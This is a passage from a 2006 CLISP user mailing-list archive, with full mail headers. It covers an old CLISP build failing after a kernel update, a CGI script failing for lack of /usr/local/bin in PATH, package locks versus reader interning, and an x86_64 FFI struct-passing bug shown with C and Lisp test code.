2006 02:58:26 -0700 Received: from tcmail33.telekom.de ([217.6.95.240]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1FWVvb-0002TA-Ug for clisp-list@lists.sourceforge.net; Thu, 20 Apr 2006 02:58:26 -0700 Received: from s4de8psaans.mitte.t-com.de by tcmail31.dmz.telekom.de with ESMTP; Thu, 20 Apr 2006 11:58:14 +0200 Received: by S4DE8PSAANS.blf.telekom.de with Internet Mail Service (5.5.2653.19) id <2YTG16L9>; Thu, 20 Apr 2006 11:58:14 +0200 Message-Id: From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: don-sourceforge-xx@isis.cs3-inc.com Subject: Re: [clisp-list] incompatibility between old clisp and new OS ? MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Apr 20 02:59:03 2006 X-Original-Date: Thu, 20 Apr 2006 11:58:04 +0200 Don Cohen wrote: >I have a server running FC4 which recently rebooted and could no >longer run my clisp server code. >This server gets automatic FC4 updates, inc. the OS, but does not >automatically reboot when it does. The recent reboot was to >2.6.16-1.2069_FC4 [...] >In this case it's an old one, 2.31, but I don't have any >reason to think a more recent one would behave any differently. I believe you should try a newer clisp. The reason is that when low-level changes in kernels affect the memory layout that applications get to see, CLISP is typically affected (e.g. randomize VA space, new addresses for shared libraries etc.). Then CLISP's source code is modified to work under the new configuration. That's why it may not work to run some old clisp in a new kernel. This is just a guess. Alas, I have no idea which (if any) these changes to CLISP are, in case you prefer to backport them to your 2.31, instead of using a newer version. It's not nice at all to see a running program not survive an OS upgrade. I think that's a drawback of CLISP's typical 32bit address space memory partitioning. If this matters much to you, and performance doesn't suffer, you may try to use the WIDE_SOFT version instead, for I believe this has no such dependencies. >I suppose this is unrelated to the .mem, purely a function of the >lisp.run. Just start the lisp.run without .mem, and issue (ext:gc) or whatever at the prompt. Regards, Jorg Hohle. From pjb@informatimago.com Thu Apr 20 05:56:58 2006 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FWYiQ-0004qM-FE for clisp-list@lists.sourceforge.net; Thu, 20 Apr 2006 05:56:58 -0700 Received: from thalassa.informatimago.com ([62.93.174.79] helo=larissa.informatimago.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1FWYiN-0006qZ-RA for clisp-list@lists.sourceforge.net; Thu, 20 Apr 2006 05:56:58 -0700 Received: by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 501) id 081AD586AA; Thu, 20 Apr 2006 14:56:47 +0200 (CEST) Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id 726AA586AA; Thu, 20 Apr 2006 14:56:44 +0200 (CEST) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id 65C3D8524; Thu, 20 Apr 2006 14:56:44 +0200 (CEST) From: Pascal Bourguignon MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <17479.34060.295325.157900@thalassa.informatimago.com> To: rso@gmx.at Cc: lispweb@red-bean.com, In-Reply-To: <444780A1.3080604@gmx.at> References: <444780A1.3080604@gmx.at> X-Mailer: VM 7.17 under Emacs 22.0.50.1 Reply-To: Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en X-Spam-Checker-Version: SpamAssassin 3.0.1 (2004-10-22) on larissa.informatimago.com X-Spam-Status: No, score=-3.1 required=5.0 tests=ALL_TRUSTED,BAYES_00, UNWANTED_LANGUAGE_BODY autolearn=ham version=3.0.1 X-Spam-Level: X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: [Lispweb] Question: problem with execute rights in clisp cgi, :MAY-EXEC ? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Apr 20 05:57:23 2006 X-Original-Date: Thu, 20 Apr 2006 14:56:44 +0200 rso@gmx.at writes: > Hallo, > > I have a unix (freebsd) specific problem, at least that is what I > think. Here is the situation: > > I run a clisp cgi script in apache2 in a directory with permissions > 777. This clisp script creates a file example.tex Then I let lisp > execute a perl script with this function: > > (defun makePicFile (input texSource) > "creates picture file with same name as html file but different > ending, returns the name of the picture" > (EXT:RUN-PROGRAM "./textogif" :ARGUMENTS > (list "-png" > (writeToFile (mkName input ".tex") > texSource)) > :OUTPUT NIL) > (mkName input ".png")) > > Now all this worked fine on a ubuntu linux system, but unfortunately > not on the freebsd system. > > I changed the header of the perl script, it has all the > permissions. If I start the perl script manually as a user > everything works fine. It creates the file, makes the system calls > etc. So it is not the problem of the perl script. > > If the perl script (started by clisp) is run by the apache user www > it fails at the first system call: echo x | latex example.tex > returns: Error processing Command and the perl script exits. Which I > know from reading the httpd-error.log file. Do you have more details on this error? What is different in the CGI environment is the user and group, the SUID bit which is reset by the server, and the environment variables. (Perhaps the root directory, if a chroot jail is activated). I'd bet for the environment variables. Add: (format t "~%") (dolist (var-val (ext:getenv)) (format t "~%" (car var-val) (cdr var-val))) (format t "
~A
~A
~%") to your CGI clisp script. Check the PATH variable. Does it contain the directory where latex lies? If not, try to use absolute pathnames in your perl script, or add the relevant directories to the environment variable before calling the perl script: (setf (ext:getenv "PATH") (format nil "~A~{:~A~}" (ext:getenv "PATH") '("/usr/bin" "/usr/local/bin" "..." ))) (ext:run-program ...) > So I thought this is a problem of permissions. > > In [1] I found the keyword :MAY-EXEC specifically for unix systems. So > I added :MAY-EXEC T to the makePicFile function above. But this gave > me the error: > > *** - RUN-PROGRAM: illegal keyword/value pair :MAY-EXEC, T in argument > list. The allowed keywords are (:ARGUMENTS :INPUT :OUTPUT > :IF-OUTPUT-EXISTS :WAIT) > > So I guess this does not exist anymore or in my clisp version? (GNU > CLISP 2.38 (2006-01-24) (built 3353839801) C-MODULS: contains > 'syscalls' too > > How could I solve this problem? See above. If this doesn't work, add more log and error handling, either in the clisp or in the perl script. "Error processing Command" doesn't tell much. > How can I use the :MAY-EXEC keyword? Well, it should be available, *BSD is UNIX(-like). Check whether you've got :UNIX in *FEATURES*. If not, it may be a problem in configure. You could get the same effect forcibly using run-shell-command instead of run-program, and inserting exec in front of the command: > Is this the right approach? I don't think it'll help. exec only serves to avoid one fork in the shell. > The error might lie in my apache configuration too, but the only > thing I found was suExec which doesn't seem to be right. -- __Pascal Bourguignon__ http://www.informatimago.com/ The mighty hunter Returns with gifts of plump birds, Your foot just squashed one. From rso@gmx.at Thu Apr 20 07:04:47 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FWZln-0003rS-14 for clisp-list@lists.sourceforge.net; Thu, 20 Apr 2006 07:04:31 -0700 Received: from mail.gmx.net ([213.165.64.20]) by mail.sourceforge.net with smtp (Exim 4.44) id 1FWZlm-0000Ri-8t for clisp-list@lists.sourceforge.net; Thu, 20 Apr 2006 07:04:31 -0700 Received: (qmail invoked by alias); 20 Apr 2006 14:04:19 -0000 Received: from unknown (EHLO [127.0.0.1]) [209.8.233.198] by mail.gmx.net (mp036) with SMTP; 20 Apr 2006 16:04:19 +0200 X-Authenticated: #2797421 Message-ID: <444794E5.8060609@gmx.at> From: rso@gmx.at User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; de-AT; rv:1.8b) Gecko/20050217 MIME-Version: 1.0 To: pjb@informatimago.com CC: lispweb@red-bean.com, clisp-list@lists.sourceforge.net References: <444780A1.3080604@gmx.at> <17479.34060.295325.157900@thalassa.informatimago.com> In-Reply-To: <17479.34060.295325.157900@thalassa.informatimago.com> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 8bit X-Y-GMX-Trusted: 0 X-Spam-Score: 0.2 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.2 NO_REAL_NAME From: does not include a real name Subject: [clisp-list] Re: [Lispweb] Question: problem with execute rights in clisp cgi, :MAY-EXEC ? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Apr 20 07:05:08 2006 X-Original-Date: Thu, 20 Apr 2006 16:04:21 +0200 Aloha, wow this mailing list (as in their subscribers like you) is amazing! Thank you very much for your thoughtful reply! > I'd bet for the environment variables. Yes that was the problem, it only knew the /usr/bin but all the needed executables are in /usr/local/bin > (setf (ext:getenv "PATH") (format nil "~A~{:~A~}" (ext:getenv "PATH") > '("/usr/bin" "/usr/local/bin" "..." ))) yes that is the solution. > Well, it should be available, *BSD is UNIX(-like). > Check whether you've got :UNIX in *FEATURES*. that is weird though, because I do have :UNIX in *FEATURES* but it still does not know the MAY-EXEC, perhaps a bug in clisp? Anyway thank you very much again, you can see the result at [1]. It is a little parser for the French language written in CLISP with the exception of the creation of the image for the syntax tree. In case you don't know French here is an example phrase that should work: Je suis très content avec votre mailinglist. That said ;) Bye Richard [1] http://rso.mine.nu/parser/main-cgi.lsp From lisp-clisp-list@m.gmane.org Thu Apr 20 18:28:37 2006 Received: from [10.3.1.93] (helo=sc8-sf-list1-new.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FWkRp-0006Et-Hz for clisp-list@lists.sourceforge.net; Thu, 20 Apr 2006 18:28:37 -0700 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1FWkRp-0001mN-Iy for clisp-list@lists.sourceforge.net; Thu, 20 Apr 2006 18:28:37 -0700 Received: from main.gmane.org ([80.91.229.2] helo=ciao.gmane.org) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1FWkRp-0007PE-6D for clisp-list@lists.sourceforge.net; Thu, 20 Apr 2006 18:28:37 -0700 Received: from list by ciao.gmane.org with local (Exim 4.43) id 1FWkRl-0003ME-7c for clisp-list@lists.sourceforge.net; Fri, 21 Apr 2006 03:28:33 +0200 Received: from CPE0004e2a7e9a9-CM014310113270.cpe.net.cable.rogers.com ([72.140.140.186]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Fri, 21 Apr 2006 03:28:33 +0200 Received: from mbirukou by CPE0004e2a7e9a9-CM014310113270.cpe.net.cable.rogers.com with local (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Fri, 21 Apr 2006 03:28:33 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net From: Mikalai Birukou Lines: 23 Message-ID: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Complaints-To: usenet@sea.gmane.org X-Gmane-NNTP-Posting-Host: main.gmane.org User-Agent: Loom/3.14 (http://gmane.org/) X-Loom-IP: 72.140.140.186 (Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.10) Gecko/20050925 Firefox/1.0.4 (Debian package 1.0.4-2sarge5)) X-Spam-Score: 0.2 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 0.2 UPPERCASE_25_50 message body is 25-50% uppercase Subject: [clisp-list] Is it possible to intern symbols under ext:without-package-lock macro? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Thu Apr 20 18:29:00 2006 X-Original-Date: Fri, 21 Apr 2006 01:28:24 +0000 (UTC) As far as I understood a manual, macro ext:without-package-lock should let me do whatever I want with the locked package. But interning symbols seems not to work: [1]> (ext:without-package-lock ("SYSTEM") (defvar system::abcde 123)) ** - Continuable Error INTERN("ABCDE"): # is locked If you continue (by typing 'continue'): Ignore the lock and proceed The following restarts are also available: ABORT :R1 ABORT Break 1 [2]> :q [3]> CUSTOM:*SYSTEM-PACKAGE-LIST* ("XPM" "XLIB" "LINUX" "READLINE" "REGEXP" "POSIX" "I18N" "EXPORTING" "CS-COMMON-LISP" "SYSTEM" "COMMON-LISP" "EXT" "GRAY" "CHARSET" "CLOS" "SOCKET" "GSTREAM" "FFI" "SCREEN") [4]> I get this in CLisp 2.38 (the current one). Is interning disallowed under ext:without-package-lock macro? Or is it a bug? Thank you in advance. From Joerg-Cyril.Hoehle@t-systems.com Fri Apr 21 03:30:47 2006 Received: from [10.3.1.93] (helo=sc8-sf-list1-new.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FWsuT-0004Jk-2K for clisp-list@lists.sourceforge.net; Fri, 21 Apr 2006 03:30:45 -0700 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.92] helo=mail.sourceforge.net) by sc8-sf-list1-new.sourceforge.net with esmtp (Exim 4.43) id 1FWsuT-0005dS-2r for clisp-list@lists.sourceforge.net; Fri, 21 Apr 2006 03:30:45 -0700 Received: from tcmail33.telekom.de ([217.6.95.240]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1FWsuR-0003Gg-IG for clisp-list@lists.sourceforge.net; Fri, 21 Apr 2006 03:30:45 -0700 Received: from s4de8psaans.mitte.t-com.de by tcmail31.dmz.telekom.de with ESMTP; Fri, 21 Apr 2006 12:30:34 +0200 Received: by S4DE8PSAANS.blf.telekom.de with Internet Mail Service (5.5.2653.19) id <2YTGM2N3>; Fri, 21 Apr 2006 12:30:33 +0200 Message-Id: From: "Hoehle, Joerg-Cyril" To: clisp-list@lists.sourceforge.net Cc: mbirukou@rogers.com Subject: Re: [clisp-list] Is it possible to intern symbols under ext:witho ut-package-lock macro? MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Apr 21 03:31:05 2006 X-Original-Date: Fri, 21 Apr 2006 12:28:41 +0200 Mikalai Birukou writes: >[1]> (ext:without-package-lock ("SYSTEM") (defvar system::abcde 123)) >INTERN("ABCDE"): # is locked READ->EVAL->PRINT. The reader signals an error long before any code gets executed. Regards, Jorg Hohle. From Bernard.Urban@meteo.fr Fri Apr 21 05:02:41 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FWuLR-00063v-Ep for clisp-list@lists.sourceforge.net; Fri, 21 Apr 2006 05:02:41 -0700 Received: from cadillac.meteo.fr ([137.129.1.4]) by mail.sourceforge.net with esmtp (Exim 4.44) id 1FWuLQ-0003WX-I1 for clisp-list@lists.sourceforge.net; Fri, 21 Apr 2006 05:02:41 -0700 Received: from localhost (cadillac.meteo.fr [127.0.0.1]) by cadillac.meteo.fr (Postfix) with ESMTP id DC22FD4110 for ; Fri, 21 Apr 2006 12:02:30 +0000 (UTC) Received: from cadillac.meteo.fr ([127.0.0.1]) by localhost (amavisd.meteo.fr [127.0.0.1]) (amavisd-new, port 10023) with ESMTP id 27314-03 for ; Fri, 21 Apr 2006 12:02:30 +0000 (UTC) Received: from MONTAILLOU (montaillou.dso.meteo.fr [137.129.94.172]) by cadillac.meteo.fr (Postfix) with ESMTP id A0697D4055 for ; Fri, 21 Apr 2006 12:02:30 +0000 (UTC) From: Bernard Urban To: clisp-list@lists.sourceforge.net Gcc: nnml:mail.copie Message-ID: User-Agent: Gnus/5.110004 (No Gnus v0.4) MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: quoted-printable X-Virus-Scanned: amavisd-new at meteo.fr X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] clisp-2.38 on x86_64 and FFI: it fails Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Apr 21 05:03:01 2006 X-Original-Date: Fri, 21 Apr 2006 14:02:30 +0200 The following program works fine on a=20=20 Intel Xeon machine (used as a i686 machine),=20 but fails on a different machine with the same CPU, but used as a x86_64 machine. First, the FFI tests on installation work ok even on x86_64. All tests made on stock clisp-2.38. Here the source for the C library (file proj.c): (for the full story, it is the interface to the geographical projections library PROJ, available on Debian under the same name) =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D #include struct projUV { double u, v; }; typedef void * opaque; opaque pj_init_plus(char * str) { opaque p =3D malloc(123); fprintf(stderr, "Init: %s proj =3D %p\n", str, p); fprintf(stderr, "sizeof(int)=3D%d\n", sizeof(int)); fprintf(stderr, "sizeof(long int)=3D%d\n", sizeof(long int)); fprintf(stderr, "sizeof(void *)=3D%d\n", sizeof(opaque)); return p; } void pj_free(opaque proj) { free(proj); fprintf(stderr, "Free ok\n"); } int pj_errno =3D 0; char * pj_strerrno(int bidon) { static char tampon[40]; sprintf(tampon, "strerrno %d\n", bidon); return tampon; } struct projUV pj_fwd(struct projUV in, opaque proj) { struct projUV ret; fprintf(stderr, "Input proj =3D %p u =3D %g v =3D %g\n", proj, in.u, in.v= ); ret.u =3D 2*in.u; ret.v =3D 3*in.v; fprintf(stderr, "Output u =3D %g v =3D %g\n", ret.u, ret.v); return ret; } =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D To be compiled as: cc -shared -fPIC -o libproj.so proj.c And now the FFI module (file test.lsp): =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D ;;; -*- Mode:Lisp; Syntax: Common-lisp; Package:PROJ; Base:10; Lowercase: Y= es -*- (in-package :cl-user) (defpackage :proj (:use :common-lisp :ffi) (:export :pj-init-plus :pj-fwd)) (in-package :proj) ;;; FFI (default-foreign-language :stdc) ;; Structure d=E9crivant les coordonn=E9es d'un point sur une carte (def-c-struct projUV (u double-float) (v double-float)) ;; Lib=E9ration de la structure d'initialisation allou=E9e dans l'espace C (def-call-out pj-free (:name "pj_free") (:return-type nil) (:library "libproj.so") (:arguments (proj c-pointer))) ;; Message d'erreur (def-c-var pj-errno (:name "pj_errno") (:library "libproj.so") (:type int)) (def-call-out pj-strerrno2 (:name "pj_strerrno") (:library "libproj.so") (:return-type c-string) (:arguments (err int))) (defun pj-strerrno () (pj-strerrno2 pj-errno)) =20=20=20=20 ;; Initialisation de 'proj' (def-call-out pj-init-plus2 (:name "pj_init_plus") (:return-type c-pointer) (:library "libproj.so") (:arguments (args ffi:c-string))) (defun pj-init-plus (str) (let ((project (pj-init-plus2 str))) (ext:finalize project #'pj-free) (if (null project) (error "~a" (pj-strerrno)) project))) ;; Transform=E9e lon/lat --> x/y (def-call-out pj-fwd2 (:name "pj_fwd") (:return-type projUV) (:library "libproj.so") (:arguments (coords projUV) (proj c-pointer))) (let ((val-fwd (make-projUV))) (defun pj-fwd (x y proj) "Transform=E9e lon/lat --> x/y; lon/lat sont en radians et 'proj' est l'objet retourn=E9 par 'pj-init-plus'." (setf (slot-value val-fwd 'u) (coerce x 'double-float) (slot-value val-fwd 'v) (coerce y 'double-float)) (let ((r (ignore-errors (format t "Problem passing argument ~a ?~%" val-fwd) (pj-fwd2 val-fwd proj)))) (format t "No serious problem if you see this ! But is the return val= ue ~a ok ?...~%" r) (unless (=3D 0 pj-errno) (error "~a" (pj-strerrno))) (values (slot-value r 'u) (slot-value r 'v))))) ;;; Test Mercator (let ((project (pj-init-plus "+proj=3Dmerc +ellps=3Dclrk66 +lat_ts=3D33"))) (defun test-mercator () (format t "~&R=E9f=E9rence Mercator: 4205486.84 8492817.78~%") (multiple-value-bind (x y) (pj-fwd 45 67 project) (format t "Test Mercator: ~a ~a~%" x y)))) (test-mercator) =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D Output from the i686 machine: [1]> (load "test.lsp") ;; Loading file test.lsp ...Init: +proj=3Dmerc +ellps=3Dclrk66 +lat_ts=3D33= proj =3D 0x81ea530 sizeof(int)=3D4 sizeof(long int)=3D4 sizeof(void *)=3D4 R=E9f=E9rence Mercator: 4205486.84 8492817.78 Problem passing argument #S(PROJUV :U 45.0d0 :V 67.0d0) ? Input proj =3D 0x81ea530 u =3D 45 v =3D 67 Output u =3D 90 v =3D 201 No serious problem if you see this ! But is the return value #S(PROJUV :U 9= 0.0d0 :V 201.0d0) ok ?... Test Mercator: 90.0d0 201.0d0 ;; Loaded file test.lsp -------------------------------------- And from the x86_64 machine: [1]> (load "test.lsp") ;; Loading file test.lsp ...Init: +proj=3Dmerc +ellps=3Dclrk66 +lat_ts=3D33= proj =3D 0x75aa50 sizeof(int)=3D4 sizeof(long int)=3D8 sizeof(void *)=3D8 R=E9f=E9rence Mercator: 4205486.84 8492817.78 Problem passing argument #S(PROJUV :U 45.0d0 :V 67.0d0) ? Input proj =3D 0x4046800000000000 u =3D 0 v =3D 0 Output u =3D 0 v =3D 0 No serious problem if you see this ! But is the return value #S(PROJUV :U 0= .0d0 :V 0.0d0) ok ?... Test Mercator: 0.0d0 0.0d0 ;; Loaded file test.lsp ---------------------------------------- So there is something weird happening, related to pointer apparently. I have tried to fiddle with the gcc option "-m32" on the 64 bits machine, but clisp-2.38 insists on compiling x64_86 assembler code (in avcall), and fails to even configure. Best regards. --=20 Bernard Urban From pjb@informatimago.com Fri Apr 21 08:26:49 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FWxWx-0003jw-JD for clisp-list@lists.sourceforge.net; Fri, 21 Apr 2006 08:26:47 -0700 Received: from thalassa.informatimago.com ([62.93.174.79] helo=larissa.informatimago.com) by mail.sourceforge.net with esmtp (Exim 4.44) id 1FWxWw-0004IV-3W for clisp-list@lists.sourceforge.net; Fri, 21 Apr 2006 08:26:47 -0700 Received: by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386), from userid 501) id 7C170586C2; Fri, 21 Apr 2006 17:26:38 +0200 (CEST) Received: from thalassa.informatimago.com (thalassa.informatimago.com [62.93.174.79]) by larissa.informatimago.com (Postfix on SuSE Linux 7.3 (i386)) with ESMTP id E4AD0586C1; Fri, 21 Apr 2006 17:26:34 +0200 (CEST) Received: by thalassa.informatimago.com (Postfix, from userid 1000) id C8AF68525; Fri, 21 Apr 2006 17:26:34 +0200 (CEST) From: Pascal Bourguignon MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <17480.63914.777874.843955@thalassa.informatimago.com> To: Mikalai Birukou Cc: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] Is it possible to intern symbols under ext:without-package-lock macro? In-Reply-To: References: X-Mailer: VM 7.17 under Emacs 22.0.50.1 Reply-To: Organization: InformatiMago. X-PGP-Key-ID: 0xEF5E9966 X-PGP-fingerprint: 00 F5 7B DB CA 51 8A AD 04 5B 6C DE 32 60 16 8E EF 5E 99 66 X-PGP-Public-Key: http://www.informatimago.com/pgpkey.asc X-URL: http://www.informatimago.com/index X-Face: ":yO)Vk=vFU3)FL&2#7gT_G=KUuNv*BEOo+Shubl.V4Whu&;A.>.+&yEVB5I5vrpZIJ{yOW >CgV%jD]GHL6rp:.OCM~_YO&aY34]|`{yNq79\x=g:7XSboBUj]1ULpA;v>-bS3veufw-rB!N0kZW! @A4i?z| X-Accept-Language: fr, es, en X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to http://sf.net/tracker/?func=add&group_id=1&atid=200001 Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Unsubscribe: , List-Id: CLISP user discussion List-Post: List-Help: List-Subscribe: , List-Archive: Date: Fri Apr 21 08:27:06 2006 X-Original-Date: Fri, 21 Apr 2006 17:26:34 +0200 Mikalai Birukou writes: > As far as I understood a manual, macro ext:without-package-lock > should let me do whatever I want with the locked package. But > interning symbols seems not to work: > > [1]> (ext:without-package-lock ("SYSTEM") (defvar system::abcde 123)) > > ** - Continuable Error > INTERN("ABCDE"): # is locked > If you continue (by typing 'continue'): Ignore the lock and proceed > The following restarts are also available: > ABORT :R1 ABORT > Break 1 [2]> :q > [3]> CUSTOM:*SYSTEM-PACKAGE-LIST* > ("XPM" "XLIB" "LINUX" "READLINE" "REGEXP" "POSIX" "I18N" "EXPORTING" > "CS-COMMON-LISP" "SYSTEM" "COMMON-LISP" "EXT" "GRAY" "CHARSET" "CLOS" "SOCKET" > "GSTREAM" "FFI" "SCREEN") > [4]> > > I get this in CLisp 2.38 (the current one). > > Is interning disallowed under ext:without-package-lock macro? Or is it a bug? See Joerg-Cyril's answer. (ext:without-package-lock ("SYSTEM") (intern "ABCDE" "SYSTEM")) (defvar system::abcde 123) (ext:without-package-lock ("SYSTEM") (load "definitions-in-system-package.lisp")) would work too, since none of the symbols in the above form are to be interned in the SYSTEM package. -- __Pascal Bourguignon__ http://www.informatimago.com/ From lisp-clisp-list@m.gmane.org Fri Apr 21 10:10:39 2006 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.91] helo=mail.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Exim 4.30) id 1FWz9T-0007RQ-IO for clisp-list@lists.sourceforge.net; Fri, 21 Apr 2006 10:10:39 -0700 Received: from main.gmane.org ([80.91.229.2] helo=ciao.gmane.org) by mail.sourceforge.net with esmtps (TLSv1:AES256-SHA:256) (Exim 4.44) id 1FWz9R-000811-U5 for clisp-list@lists.sourceforge.net; Fri, 21 Apr 2006 10:10:39 -0700 Received: from list by ciao.gmane.org with local (Exim 4.43) id 1FWz9B-0002FT-5s for clisp-list@lists.sourceforge.net; Fri, 21 Apr 2006 19:10:21 +0200 Received: from CPE0004e2a7e9a9-CM014310113270.cpe.net.cable.rogers.com ([72.140.140.186]) by main.gmane.org with esmtp (Gmexim 0.1 (Debian)) id 1AlnuQ-0007hv-00 for ; Fri, 21 Apr 2006 19:10:21 +0200 Received: from mbirukou by 